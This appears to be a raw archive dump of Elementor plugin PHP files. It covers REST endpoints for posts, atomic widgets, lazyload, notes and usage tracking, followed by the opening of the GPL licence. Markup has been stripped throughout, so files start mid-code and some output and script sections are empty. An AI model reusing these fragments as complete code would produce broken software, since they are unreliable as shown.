=> [ 'edit' => current_user_can( 'edit_post', $id ), ], ]; } return $recent; } } modules/site-navigation/data/endpoints/add-new-post.php000064400000004174147206604650017264 0ustar00 [ 'description' => 'Post type to create', 'type' => 'string', 'required' => false, 'default' => 'post', 'sanitize_callback' => function ( $value ) { return sanitize_text_field( $value ); }, 'validate_callback' => 'rest_validate_request_arg', ], ]; $this->register_items_route( \WP_REST_Server::CREATABLE, $args ); } public function get_name() { return 'add-new-post'; } public function get_format() { return 'site-navigation/add-new-post'; } public function create_items( $request ) { $post_type = $request->get_param( 'post_type' ); if ( ! $this->validate_post_type( $post_type ) ) { return new \WP_Error( 400, sprintf( 'Post type %s does not exist.', $post_type ), [ 'status' => 400 ] ); } if ( ! User::is_current_user_can_edit_post_type( $post_type ) ) { return new \WP_Error( 401, sprintf( 'User dont have capability to create page of type - %s.', $post_type ), [ 'status' => 401 ] ); } // Temporary solution for the fact that documents creation not using the actual registered post types. $post_type = $this->map_post_type( $post_type ); $document = Plugin::$instance->documents->create( $post_type ); if ( is_wp_error( $document ) ) { return new \WP_Error( 500, sprintf( 'Error while creating %s.', $post_type ) ); } return [ 'id' => $document->get_main_id(), 'edit_url' => $document->get_edit_url(), ]; } private function validate_post_type( $post_type ): bool { $post_types = get_post_types(); return in_array( $post_type, $post_types ); } /** * Map post type to Elementor document type. * * @param $post_type * * @return string */ private function map_post_type( $post_type ): string { $post_type_map = [ 'page' => 'wp-page', 'post' => 'wp-post', ]; return $post_type_map[ $post_type ] ?? $post_type; } } modules/site-navigation/data/endpoints/homepage.php000064400000001214147206604650016537 0ustar00 [ 'description' => 'Post id to duplicate', 'type' => 'integer', 'required' => true, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', ], 'title' => [ 'description' => 'Post title', 'type' => 'string', 'required' => false, 'sanitize_callback' => function ( $value ) { return sanitize_text_field( $value ); }, 'validate_callback' => 'rest_validate_request_arg', ], ]; $this->register_items_route( \WP_REST_Server::CREATABLE, $args ); } public function get_name() { return 'duplicate-post'; } public function get_format() { return 'site-navigation/duplicate-post'; } public function create_items( $request ) { $post_id = $request->get_param( 'post_id' ); $post_title = $request->get_param( 'title' ); $post = get_post( $post_id ); if ( ! User::is_current_user_can_edit_post_type( $post->post_type ) ) { return new \WP_Error( 401, sprintf( 'User dont have capability to create page of type - %s.', $post->post_type ), [ 'status' => 401 ] ); } if ( ! $post ) { return new \WP_Error( 500, 'Post not found' ); } $new_post_id = $this->duplicate_post( $post, $post_title ); if ( is_wp_error( $new_post_id ) ) { return new \WP_Error( 500, 'Error while duplicating post.' ); } //Duplicate all post meta $this->duplicate_post_meta( $post_id, $new_post_id ); //Duplicate all taxonomies $this->duplicate_post_taxonomies( $post_id, $new_post_id ); return [ 'post_id' => $new_post_id, ]; } /** * Duplicate post * * @param $post * * @return int|\WP_Error */ private function duplicate_post( $post, $post_title ) { $post_status = 'draft'; $current_user = wp_get_current_user(); $new_post_author = $current_user->ID; $args = [ 'comment_status' => $post->comment_status, 'ping_status' => $post->ping_status, 'post_author' => $new_post_author, 'post_content' => $post->post_content, 'post_excerpt' => $post->post_excerpt, 'post_parent' => $post->post_parent, 'post_password' => $post->post_password, 'post_status' => $post_status, 'post_title' => $post_title, 'post_type' => $post->post_type, 'to_ping' => $post->to_ping, 'menu_order' => $post->menu_order, ]; return wp_insert_post( $args ); } /** * Duplicate the associated post meta to the new post ID. * * @param int $post_id * @param int $new_post_id */ private function duplicate_post_meta( int $post_id, int $new_post_id ) { $post_meta = get_post_meta( $post_id ); if ( empty( $post_meta ) || ! is_array( $post_meta ) ) { return; } foreach ( $post_meta as $key => $values ) { if ( '_wp_old_slug' === $key ) { // Ignore this meta key continue; } foreach ( $values as $value ) { $value = maybe_unserialize( $value ); add_post_meta( $new_post_id, $key, wp_slash( $value ) ); } } } /** * duplicate_post_taxonomies * * @param int $post_id * @param int $new_post_id */ private function duplicate_post_taxonomies( $post_id, $new_post_id ) { $taxonomies = array_map( 'sanitize_text_field', get_object_taxonomies( get_post_type( $post_id ) ) ); if ( empty( $taxonomies ) || ! is_array( $taxonomies ) ) { return; } foreach ( $taxonomies as $taxonomy ) { $post_terms = wp_get_object_terms( $post_id, $taxonomy, [ 'fields' => 'slugs' ] ); if ( ! is_wp_error( $post_terms ) ) { wp_set_object_terms( $new_post_id, $post_terms, $taxonomy, false ); } } } } modules/site-navigation/data/controller.php000064400000002761147206604650015142 0ustar00get_items_permissions_check( $request ); } public function create_item_permissions_check( $request ): bool { return $this->create_items_permissions_check( $request ); } public function register_endpoints() { $this->register_endpoint( new Recent_Posts( $this ) ); $this->register_endpoint( new Add_New_Post( $this ) ); if ( Plugin::$instance->experiments->is_feature_active( 'pages_panel' ) ) { $this->register_endpoint( new Duplicate_Post( $this ) ); $this->register_endpoint( new Homepage( $this ) ); } } protected function register_index_endpoint() { // Bypass, currently does not required. } } modules/site-navigation/rest-fields/page-user-can.php000064400000001647147206604650016720 0ustar00 [ $this, 'get_callback' ], 'schema' => [ 'description' => __( 'Whether the current user can edit or delete this post', 'elementor' ), 'type' => 'array', ], ] ); } public function get_callback( $post ) { $can_edit = current_user_can( 'edit_post', $post['id'] ); $can_delete = current_user_can( 'delete_post', $post['id'] ); return [ 'edit' => $can_edit, 'delete' => $can_delete, ]; } } modules/atomic-widgets/module.php000064400000004276147206604650013155 0ustar00register_experiment(); if ( Plugin::$instance->experiments->is_feature_active( self::EXPERIMENT_NAME ) ) { add_filter( 'elementor/editor/v2/packages', fn( $packages ) => $this->add_packages( $packages ) ); add_filter( 'elementor/widgets/register', fn( Widgets_Manager $widgets_manager ) => $this->register_widgets( $widgets_manager ) ); add_action( 'elementor/editor/after_enqueue_scripts', fn() => $this->enqueue_scripts() ); } } private function register_experiment() { Plugin::$instance->experiments->add_feature( [ 'name' => self::EXPERIMENT_NAME, 'title' => esc_html__( 'Atomic Widgets', 'elementor' ), 'description' => esc_html__( 'Enable atomic widgets.', 'elementor' ), 'hidden' => true, 'default' => Experiments_Manager::STATE_INACTIVE, 'release_status' => Experiments_Manager::RELEASE_STATUS_ALPHA, ] ); } private function add_packages( $packages ) { return array_merge( $packages, self::PACKAGES ); } private function register_widgets( Widgets_Manager $widgets_manager ) { $widgets_manager->register( new Atomic_Heading() ); $widgets_manager->register( new Atomic_Image() ); } /** * Enqueue the module scripts. * * @return void */ private function enqueue_scripts() { wp_enqueue_script( 'elementor-atomic-widgets-editor', $this->get_js_assets_url( 'atomic-widgets-editor' ), [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); } } modules/atomic-widgets/schema/atomic-prop.php000064400000000774147206604650015361 0ustar00default_value = $default_value; return $this; } public function get_default() { return $this->default_value; } public function jsonSerialize(): array { return [ 'default' => $this->default_value, ]; } } modules/atomic-widgets/widgets/atomic-heading.php000064400000004537147206604650016207 0ustar00get_atomic_settings(); // TODO: Move the validation/sanitization to the props schema constraints. $escaped_tag = Utils::validate_html_tag( $settings['tag'] ); $escaped_title = esc_html( $settings['title'] ); $class = ''; if ( ! empty( $settings['classes'] ) ) { $class = "class='" . esc_attr( $settings['classes'] ) . "'"; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo "<$escaped_tag $class>$escaped_title"; } protected function define_atomic_controls(): array { $tag_control = Select_Control::bind_to( 'tag' ) ->set_label( esc_html__( 'Tag', 'elementor' ) ) ->set_options( [ [ 'value' => 'h1', 'label' => 'H1', ], [ 'value' => 'h2', 'label' => 'H2', ], [ 'value' => 'h3', 'label' => 'H3', ], [ 'value' => 'h4', 'label' => 'H4', ], [ 'value' => 'h5', 'label' => 'H5', ], [ 'value' => 'h6', 'label' => 'H6', ], ]); $title_control = Textarea_Control::bind_to( 'title' ) ->set_label( __( 'Title', 'elementor' ) ) ->set_placeholder( __( 'Type your title here', 'elementor' ) ); $tag_and_title_section = Section::make() ->set_label( __( 'Content', 'elementor' ) ) ->set_items( [ $tag_control, $title_control, ]); return [ $tag_and_title_section, ]; } protected static function define_props_schema(): array { return [ 'classes' => Atomic_Prop::make(), 'tag' => Atomic_Prop::make() ->default( 'h2' ), 'title' => Atomic_Prop::make() ->default( __( 'Your Title Here', 'elementor' ) ), ]; } } modules/atomic-widgets/widgets/atomic-image.php000064400000005464147206604650015672 0ustar00get_atomic_settings(); // TODO: Replace with actual URL prop $image_url = $settings['url']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo ""; } private function get_image_size_options() { $wp_image_sizes = self::get_wp_image_sizes(); $image_sizes = []; foreach ( $wp_image_sizes as $size_key => $size_attributes ) { $control_title = ucwords( str_replace( '_', ' ', $size_key ) ); if ( is_array( $size_attributes ) ) { $control_title .= sprintf( ' - %d*%d', $size_attributes['width'], $size_attributes['height'] ); } $image_sizes[] = [ 'label' => $control_title, 'value' => $size_key, ]; } $image_sizes[] = [ 'label' => esc_html__( 'Full', 'elementor' ), 'value' => 'full', ]; return $image_sizes; } private static function get_wp_image_sizes() { $default_image_sizes = get_intermediate_image_sizes(); $additional_sizes = wp_get_additional_image_sizes(); $image_sizes = []; foreach ( $default_image_sizes as $size ) { $image_sizes[ $size ] = [ 'width' => (int) get_option( $size . '_size_w' ), 'height' => (int) get_option( $size . '_size_h' ), 'crop' => (bool) get_option( $size . '_crop' ), ]; } if ( $additional_sizes ) { $image_sizes = array_merge( $image_sizes, $additional_sizes ); } // /** This filter is documented in wp-admin/includes/media.php */ return apply_filters( 'image_size_names_choose', $image_sizes ); } protected function define_atomic_controls(): array { $options = $this->get_image_size_options(); $resolution_control = Select_Control::bind_to( 'image_size' ) ->set_label( esc_html__( 'Image Resolution', 'elementor' ) ) ->set_options( $options ); $content_section = Section::make() ->set_label( esc_html__( 'Content', 'elementor' ) ) ->set_items( [ $resolution_control, ]); return [ $content_section, ]; } protected static function define_props_schema(): array { return [ 'image_size' => Atomic_Prop::make() ->default( 'large' ), 'url' => Atomic_Prop::make() ->default( Utils::get_placeholder_image_src() ), ]; } } modules/atomic-widgets/base/atomic-widget-base.php000064400000007415147206604650016245 0ustar00version = $data['version'] ?? '0.0'; $this->styles = $data['styles'] ?? []; } public function get_atomic_controls() { $controls = $this->define_atomic_controls(); return $this->get_valid_controls( $controls ); } private function get_valid_controls( array $controls ): array { $valid_controls = []; $schema = static::get_props_schema(); foreach ( $controls as $control ) { if ( $control instanceof Section ) { $cloned_section = clone $control; $cloned_section->set_items( $this->get_valid_controls( $control->get_items() ) ); $valid_controls[] = $cloned_section; continue; } if ( ! ( $control instanceof Atomic_Control_Base ) ) { $this->safe_throw( 'Control must be an instance of `Atomic_Control_Base`.' ); continue; } $prop_name = $control->get_bind(); if ( ! $prop_name ) { $this->safe_throw( 'Control is missing a bound prop from the schema.' ); continue; } if ( ! array_key_exists( $prop_name, $schema ) ) { $this->safe_throw( "Prop `{$prop_name}` is not defined in the schema of `{$this->get_name()}`. Did you forget to define it?" ); continue; } $valid_controls[] = $control; } return $valid_controls; } private function safe_throw( string $message ) { if ( ! defined( 'ELEMENTOR_DEBUG' ) || ! ELEMENTOR_DEBUG ) { return; } throw new \Exception( $message ); } abstract protected function define_atomic_controls(): array; final public function get_controls( $control_id = null ) { if ( ! empty( $control_id ) ) { return null; } return []; } final public function get_initial_config() { $config = parent::get_initial_config(); $config['atomic_controls'] = $this->get_atomic_controls(); $config['version'] = $this->version; return $config; } final public function get_data_for_save() { $data = parent::get_data_for_save(); $data['version'] = $this->version; return $data; } final public function get_raw_data( $with_html_content = false ) { $raw_data = parent::get_raw_data( $with_html_content ); $raw_data['styles'] = $this->styles; return $raw_data; } final public function get_stack( $with_common_controls = true ) { return [ 'controls' => [], 'tabs' => [], ]; } final public function get_atomic_settings(): array { $schema = static::get_props_schema(); $raw_settings = $this->get_settings(); $transformed_settings = []; foreach ( $schema as $key => $prop ) { if ( array_key_exists( $key, $raw_settings ) ) { $transformed_settings[ $key ] = $raw_settings[ $key ]; } else { $transformed_settings[ $key ] = $prop->get_default(); } $transformed_settings[ $key ] = $this->transform_setting( $transformed_settings[ $key ] ); } return $transformed_settings; } public static function get_props_schema() { return static::define_props_schema(); } private function transform_setting( $setting ) { if ( ! $this->is_transformable( $setting ) ) { return $setting; } switch ( $setting['$$type'] ) { case 'classes': return is_array( $setting['value'] ) ? join( ' ', $setting['value'] ) : ''; default: return null; } } private function is_transformable( $setting ): bool { return ! empty( $setting['$$type'] ) && 'string' === getType( $setting['$$type'] ) && isset( $setting['value'] ); } abstract protected static function define_props_schema(): array; } modules/atomic-widgets/base/atomic-control-base.php000064400000002035147206604650016433 0ustar00bind = $prop_name; } public function get_bind() { return $this->bind; } public function set_label( string $label ): self { $this->label = $label; return $this; } public function set_description( string $description ): self { $this->description = $description; return $this; } public function jsonSerialize(): array { return [ 'type' => 'control', 'value' => [ 'type' => $this->get_type(), 'bind' => $this->get_bind(), 'label' => $this->label, 'description' => $this->description, 'props' => $this->get_props(), ], ]; } } modules/atomic-widgets/controls/section.php000064400000001641147206604650015170 0ustar00label = $label; return $this; } public function set_description( string $description ): self { $this->description = $description; return $this; } public function set_items( array $items ): self { $this->items = $items; return $this; } public function get_items() { return $this->items; } public function jsonSerialize(): array { return [ 'type' => 'section', 'value' => [ 'label' => $this->label, 'description' => $this->description, 'items' => $this->items, ], ]; } } modules/atomic-widgets/controls/types/textarea-control.php000064400000001067147206604650020165 0ustar00placeholder = $placeholder; return $this; } public function get_props(): array { return [ 'placeholder' => $this->placeholder, ]; } } modules/atomic-widgets/controls/types/select-control.php000064400000001032147206604650017617 0ustar00options = $options; return $this; } public function get_props(): array { return [ 'options' => $this->options, ]; } } modules/lazyload/module.php000064400000005275147206604650012054 0ustar00is_lazy_load_background_images_enabled() ) { return; } add_action( 'wp_head', function() { if ( ! $this->should_lazyload() ) { return; } ?> should_lazyload() ) { return; } ?> preview->is_preview_mode() && ! Plugin::$instance->editor->is_edit_mode(); } private static function is_lazy_load_background_images_enabled(): bool { return '1' === get_option( 'elementor_lazy_load_background_images', '1' ); } } modules/notes/module.php000064400000002323147206604650011354 0ustar00get_js_assets_url( 'notes' ), [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-notes', 'elementor' ); } /** * Enqueue the module styles. * * @return void */ public function enqueue_styles() { wp_enqueue_style( 'elementor-notes', $this->get_css_assets_url( 'modules/notes/editor' ), [ 'elementor-editor' ], ELEMENTOR_VERSION ); } /** * @return bool */ public static function is_active() { return ! Utils::has_pro(); } /** * Initialize the Notes module. * * @return void */ public function __construct() { parent::__construct(); add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); add_action( 'elementor/editor/after_enqueue_styles', [ $this, 'enqueue_styles' ] ); } } modules/usage/module.php000064400000041522147206604650011334 0ustar00 $elements ) { $doc_class = Plugin::$instance->documents->get_document_type( $doc_type ); if ( 'html' === $format && $doc_class ) { $doc_title = $doc_class::get_title(); } else { $doc_title = $doc_type; } $doc_count = $this->get_doc_type_count( $doc_class, $doc_type ); $tab_group = $doc_class::get_property( 'admin_tab_group' ); if ( 'html' === $format && $tab_group ) { $doc_title = ucwords( $tab_group ) . ' - ' . $doc_title; } // Replace element type with element title. foreach ( $elements as $element_type => $data ) { unset( $elements[ $element_type ] ); if ( in_array( $element_type, [ 'section', 'column' ], true ) ) { continue; } $widget_instance = Plugin::$instance->widgets_manager->get_widget_types( $element_type ); if ( 'html' === $format && $widget_instance ) { $widget_title = $widget_instance->get_title(); } else { $widget_title = $element_type; } $elements[ $widget_title ] = $data['count']; } // Sort elements by key. ksort( $elements ); $usage[ $doc_type ] = [ 'title' => $doc_title, 'elements' => $elements, 'count' => $doc_count, ]; // ' ? 1 : 0;' In sorters is compatibility for PHP8.0. // Sort usage by title. uasort( $usage, function( $a, $b ) { return ( $a['title'] > $b['title'] ) ? 1 : 0; } ); // If title includes '-' will have lower priority. uasort( $usage, function( $a ) { return strpos( $a['title'], '-' ) ? 1 : 0; } ); } return $usage; } /** * Before document Save. * * Called on elementor/document/before_save, remove document from global & set saving flag. * * @param Document $document * @param array $data new settings to save. */ public function before_document_save( $document, $data ) { $current_status = get_post_status( $document->get_post() ); $new_status = isset( $data['settings']['post_status'] ) ? $data['settings']['post_status'] : ''; if ( $current_status === $new_status ) { $this->remove_from_global( $document ); } $this->is_document_saving = true; } /** * After document save. * * Called on elementor/document/after_save, adds document to global & clear saving flag. * * @param Document $document */ public function after_document_save( $document ) { if ( Document::STATUS_PUBLISH === $document->get_post()->post_status || Document::STATUS_PRIVATE === $document->get_post()->post_status ) { $this->save_document_usage( $document ); } $this->is_document_saving = false; } /** * On status change. * * Called on transition_post_status. * * @param string $new_status * @param string $old_status * @param \WP_Post $post */ public function on_status_change( $new_status, $old_status, $post ) { if ( wp_is_post_autosave( $post ) ) { return; } // If it's from elementor editor, the usage should be saved via `before_document_save`/`after_document_save`. if ( $this->is_document_saving ) { return; } $document = Plugin::$instance->documents->get( $post->ID ); if ( ! $document ) { return; } $is_public_unpublish = 'publish' === $old_status && 'publish' !== $new_status; $is_private_unpublish = 'private' === $old_status && 'private' !== $new_status; if ( $is_public_unpublish || $is_private_unpublish ) { $this->remove_from_global( $document ); } $is_public_publish = 'publish' !== $old_status && 'publish' === $new_status; $is_private_publish = 'private' !== $old_status && 'private' === $new_status; if ( $is_public_publish || $is_private_publish ) { $this->save_document_usage( $document ); } } /** * On before delete post. * * Called on on_before_delete_post. * * @param int $post_id */ public function on_before_delete_post( $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); if ( $document->get_id() !== $document->get_main_id() ) { return; } $this->remove_from_global( $document ); } /** * Add's tracking data. * * Called on elementor/tracker/send_tracking_data_params. * * @param array $params * * @return array */ public function add_tracking_data( $params ) { $params['usages']['elements'] = get_option( self::OPTION_NAME ); return $params; } /** * Recalculate usage. * * Recalculate usage for all elementor posts. * * @param int $limit * @param int $offset * * @return int */ public function recalc_usage( $limit = -1, $offset = 0 ) { // While requesting recalc_usage, data should be deleted. // if its in a batch the data should be deleted only on the first batch. if ( 0 === $offset ) { delete_option( self::OPTION_NAME ); } $post_types = get_post_types( array( 'public' => true ) ); $query = new \WP_Query( [ 'no_found_rows' => true, 'meta_key' => '_elementor_data', 'post_type' => $post_types, 'post_status' => [ 'publish', 'private' ], 'posts_per_page' => $limit, 'offset' => $offset, ] ); foreach ( $query->posts as $post ) { $document = Plugin::$instance->documents->get( $post->ID ); if ( ! $document ) { continue; } $this->after_document_save( $document ); } // Clear query memory before leave. wp_cache_flush(); return count( $query->posts ); } /** * Increase controls count. * * Increase controls count, for each element. * * @param array &$element_ref * @param string $tab * @param string $section * @param string $control * @param int $count */ private function increase_controls_count( &$element_ref, $tab, $section, $control, $count ) { if ( ! isset( $element_ref['controls'][ $tab ] ) ) { $element_ref['controls'][ $tab ] = []; } if ( ! isset( $element_ref['controls'][ $tab ][ $section ] ) ) { $element_ref['controls'][ $tab ][ $section ] = []; } if ( ! isset( $element_ref['controls'][ $tab ][ $section ][ $control ] ) ) { $element_ref['controls'][ $tab ][ $section ][ $control ] = 0; } $element_ref['controls'][ $tab ][ $section ][ $control ] += $count; } /** * Add Controls * * Add's controls to this element_ref, returns changed controls count. * * @param array $settings_controls * @param array $element_controls * @param array &$element_ref * * @return int ($changed_controls_count). */ private function add_controls( $settings_controls, $element_controls, &$element_ref ) { $changed_controls_count = 0; // Loop over all element settings. foreach ( $settings_controls as $control => $value ) { if ( empty( $element_controls[ $control ] ) ) { continue; } $control_config = $element_controls[ $control ]; if ( ! isset( $control_config['section'], $control_config['default'] ) ) { continue; } $tab = $control_config['tab']; $section = $control_config['section']; // If setting value is not the control default. if ( $value !== $control_config['default'] ) { $this->increase_controls_count( $element_ref, $tab, $section, $control, 1 ); $changed_controls_count++; } } return $changed_controls_count; } /** * Add general controls. * * Extract general controls to element ref, return clean `$settings_control`. * * @param array $settings_controls * @param array &$element_ref * * @return array ($settings_controls). */ private function add_general_controls( $settings_controls, &$element_ref ) { if ( ! empty( $settings_controls[ Manager::DYNAMIC_SETTING_KEY ] ) ) { $settings_controls = array_merge( $settings_controls, $settings_controls[ Manager::DYNAMIC_SETTING_KEY ] ); // Add dynamic count to controls under `general` tab. $this->increase_controls_count( $element_ref, self::GENERAL_TAB, Manager::DYNAMIC_SETTING_KEY, 'count', count( $settings_controls[ Manager::DYNAMIC_SETTING_KEY ] ) ); } return $settings_controls; } /** * Add to global. * * Add's usage to global (update database). * * @param string $doc_name * @param array $doc_usage */ private function add_to_global( $doc_name, $doc_usage ) { $global_usage = get_option( self::OPTION_NAME, [] ); foreach ( $doc_usage as $element_type => $element_data ) { if ( ! isset( $global_usage[ $doc_name ] ) ) { $global_usage[ $doc_name ] = []; } if ( ! isset( $global_usage[ $doc_name ][ $element_type ] ) ) { $global_usage[ $doc_name ][ $element_type ] = [ 'count' => 0, 'controls' => [], ]; } $global_element_ref = &$global_usage[ $doc_name ][ $element_type ]; $global_element_ref['count'] += $element_data['count']; if ( empty( $element_data['controls'] ) ) { continue; } foreach ( $element_data['controls'] as $tab => $sections ) { foreach ( $sections as $section => $controls ) { foreach ( $controls as $control => $count ) { $this->increase_controls_count( $global_element_ref, $tab, $section, $control, $count ); } } } } update_option( self::OPTION_NAME, $global_usage, false ); } /** * Remove from global. * * Remove's usage from global (update database). * * @param Document $document */ private function remove_from_global( $document ) { $prev_usage = $document->get_meta( self::META_KEY ); if ( empty( $prev_usage ) ) { return; } $doc_name = $document->get_name(); $global_usage = get_option( self::OPTION_NAME, [] ); foreach ( $prev_usage as $element_type => $doc_value ) { if ( isset( $global_usage[ $doc_name ][ $element_type ]['count'] ) ) { $global_usage[ $doc_name ][ $element_type ]['count'] -= $prev_usage[ $element_type ]['count']; if ( 0 === $global_usage[ $doc_name ][ $element_type ]['count'] ) { unset( $global_usage[ $doc_name ][ $element_type ] ); if ( 0 === count( $global_usage[ $doc_name ] ) ) { unset( $global_usage[ $doc_name ] ); } continue; } foreach ( $prev_usage[ $element_type ]['controls'] as $tab => $sections ) { foreach ( $sections as $section => $controls ) { foreach ( $controls as $control => $count ) { if ( isset( $global_usage[ $doc_name ][ $element_type ]['controls'][ $tab ][ $section ][ $control ] ) ) { $section_ref = &$global_usage[ $doc_name ][ $element_type ]['controls'][ $tab ][ $section ]; $section_ref[ $control ] -= $count; if ( 0 === $section_ref[ $control ] ) { unset( $section_ref[ $control ] ); } } } } } } } update_option( self::OPTION_NAME, $global_usage, false ); $document->delete_meta( self::META_KEY ); } /** * Get elements usage. * * Get's the current elements usage by passed elements array parameter. * * @param array $elements * * @return array */ private function get_elements_usage( $elements ) { $usage = []; Plugin::$instance->db->iterate_data( $elements, function ( $element ) use ( &$usage ) { if ( empty( $element['widgetType'] ) ) { $type = $element['elType']; $element_instance = Plugin::$instance->elements_manager->get_element_types( $type ); } else { $type = $element['widgetType']; $element_instance = Plugin::$instance->widgets_manager->get_widget_types( $type ); } if ( ! isset( $usage[ $type ] ) ) { $usage[ $type ] = [ 'count' => 0, 'control_percent' => 0, 'controls' => [], ]; } $usage[ $type ]['count']++; if ( ! $element_instance ) { return $element; } $element_controls = $element_instance->get_controls(); if ( isset( $element['settings'] ) ) { $settings_controls = $element['settings']; $element_ref = &$usage[ $type ]; // Add dynamic values. $settings_controls = $this->add_general_controls( $settings_controls, $element_ref ); $changed_controls_count = $this->add_controls( $settings_controls, $element_controls, $element_ref ); $percent = ! empty( $element_controls ) ? $changed_controls_count / ( count( $element_controls ) / 100 ) : 0; $usage[ $type ] ['control_percent'] = (int) round( $percent ); } return $element; } ); return $usage; } /** * Save document usage. * * Save requested document usage, and update global. * * @param Document $document */ private function save_document_usage( Document $document ) { if ( ! $document::get_property( 'is_editable' ) && ! $document->is_built_with_elementor() ) { return; } // Get data manually to avoid conflict with `\Elementor\Core\Base\Document::get_elements_data... convert_to_elementor`. $data = $document->get_json_meta( '_elementor_data' ); if ( ! empty( $data ) ) { try { $usage = $this->get_elements_usage( $document->get_elements_raw_data( $data ) ); $document->update_meta( self::META_KEY, $usage ); $this->add_to_global( $document->get_name(), $usage ); } catch ( \Exception $exception ) { Plugin::$instance->logger->get_logger()->error( $exception->getMessage(), [ 'document_id' => $document->get_id(), 'document_name' => $document->get_name(), ] ); return; }; } } public static function get_settings_usage() { $usage = []; $settings_tab = Plugin::$instance->settings->get_tabs(); $settings = array_merge( $settings_tab[ Settings::TAB_GENERAL ]['sections'], $settings_tab[ Settings::TAB_ADVANCED ]['sections'] ); foreach ( $settings as $setting_data ) { foreach ( $setting_data['fields'] as $field_name => $field_data ) { $is_hidden_field = ( empty( $field_data['field_args']['type'] ) || 'hidden' === $field_data['field_args']['type'] ); if ( $is_hidden_field ) { continue; } $setting_value = get_option( 'elementor_' . $field_name ); if ( empty( $setting_value ) ) { continue; } $is_default_value = ( ! empty( $field_data['field_args']['std'] ) && $setting_value === $field_data['field_args']['std'] ); if ( $is_default_value ) { continue; } $usage[ $field_name ] = $setting_value; } } $usage = apply_filters( 'elementor/system-info/usage/settings', $usage ); return $usage; } /** * Add system info report. */ public function add_system_info_report() { System_Info::add_report( 'usage', [ 'file_name' => __DIR__ . '/usage-reporter.php', 'class_name' => __NAMESPACE__ . '\Usage_Reporter', ] ); System_Info::add_report( 'settings', [ 'file_name' => __DIR__ . '/settings-reporter.php', 'class_name' => __NAMESPACE__ . '\Settings_Reporter', ] ); } /** * Usage module constructor. * * Initializing Elementor usage module. * * @access public */ public function __construct() { if ( ! Tracker::is_allow_track() ) { return; } add_action( 'transition_post_status', [ $this, 'on_status_change' ], 10, 3 ); add_action( 'before_delete_post', [ $this, 'on_before_delete_post' ] ); add_action( 'elementor/document/before_save', [ $this, 'before_document_save' ], 10, 2 ); add_action( 'elementor/document/after_save', [ $this, 'after_document_save' ] ); add_filter( 'elementor/tracker/send_tracking_data_params', [ $this, 'add_tracking_data' ] ); add_action( 'admin_init', [ $this, 'add_system_info_report' ], 50 ); } } modules/usage/settings-reporter.php000064400000002360147206604650013544 0ustar00 '', ]; } public function get_settings() : array { $usage_settings_text = ''; $settings = Module::get_settings_usage(); foreach ( $settings as $setting_name => $setting_value ) { $setting_value_text = is_array( $setting_value ) ? implode( ', ', $setting_value ) : $setting_value; $usage_settings_text .= '' . $setting_name . '' . $setting_value_text . ''; } return [ 'value' => $usage_settings_text, ]; } public function get_raw_settings() : array { $usage_settings = PHP_EOL; $settings = Module::get_settings_usage(); foreach ( $settings as $setting_name => $setting_value ) { $setting_value_text = is_array( $setting_value ) ? implode( ', ', $setting_value ) : $setting_value; $usage_settings .= "\t" . $setting_name . ': ' . $setting_value_text . PHP_EOL; } return [ 'value' => $usage_settings, ]; } } modules/usage/usage-reporter.php000064400000006011147206604650013005 0ustar00 '', ]; } public function print_html_label( $label ) { $title = $this->get_title(); if ( empty( $_GET[ self::RECALC_ACTION ] ) ) { // phpcs:ignore -- nonce validation is not required here. $nonce = wp_create_nonce( self::RECALC_ACTION ); $url = add_query_arg( [ self::RECALC_ACTION => 1, '_wpnonce' => $nonce, ] ); $title .= 'Recalculate'; } else { $title .= $this->get_remove_recalc_query_string_script(); } parent::print_html_label( $title ); } public function get_usage() { /** @var Module $module */ $module = Module::instance(); if ( ! empty( $_GET[ self::RECALC_ACTION ] ) ) { // phpcs:ignore $nonce = Utils::get_super_global_value( $_GET, '_wpnonce' ); if ( ! wp_verify_nonce( $nonce, self::RECALC_ACTION ) ) { wp_die( 'Invalid Nonce', 'Invalid Nonce', [ 'back_link' => true, ] ); } $module->recalc_usage(); } $usage = ''; foreach ( $module->get_formatted_usage() as $doc_type => $data ) { $usage .= '' . $data['title'] . ' ( ' . $data['count'] . ' )'; foreach ( $data['elements'] as $element => $count ) { $usage .= $element . ': ' . $count . PHP_EOL; } $usage .= ''; } return [ 'value' => $usage, ]; } public function get_raw_usage() { /** @var Module $module */ $module = Module::instance(); $usage = PHP_EOL; foreach ( $module->get_formatted_usage( 'raw' ) as $doc_type => $data ) { $usage .= "\t{$data['title']} : " . $data['count'] . PHP_EOL; foreach ( $data['elements'] as $element => $count ) { $usage .= "\t\t{$element} : {$count}" . PHP_EOL; } } return [ 'value' => $usage, ]; } /** * Removes the "elementor_usage_recalc" param from the query string to avoid recalc every refresh. * When using a redirect header in place of this approach it throws an error because some components have already output some content. * * @return string */ private function get_remove_recalc_query_string_script() { ob_start(); ?> get_post_id(); $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { return; } ?> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do 